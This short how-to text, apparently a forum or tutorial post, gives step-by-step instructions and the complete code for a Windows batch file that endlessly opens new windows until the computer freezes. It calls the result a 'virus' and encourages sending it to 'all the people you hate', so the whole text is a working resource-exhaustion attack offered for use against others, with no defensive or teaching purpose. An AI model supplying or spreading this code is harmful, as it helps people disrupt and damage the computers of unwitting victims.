This is a relatively basic virus. Once opened, it will continue to open different windows and hog CPU until the target computer lags and eventually freezes.
So, first, create a new text document.
Next, type
@echo off
Under that, type :A
Under that, type start
Under that, type goto A:
So it should look like this:
@echo off
:A
start
goto :A

Then, go to save as and save as "New text Document.bat", so it should save as a .bat file.
And there you have it! Your super-simple virus to send all the people you hate.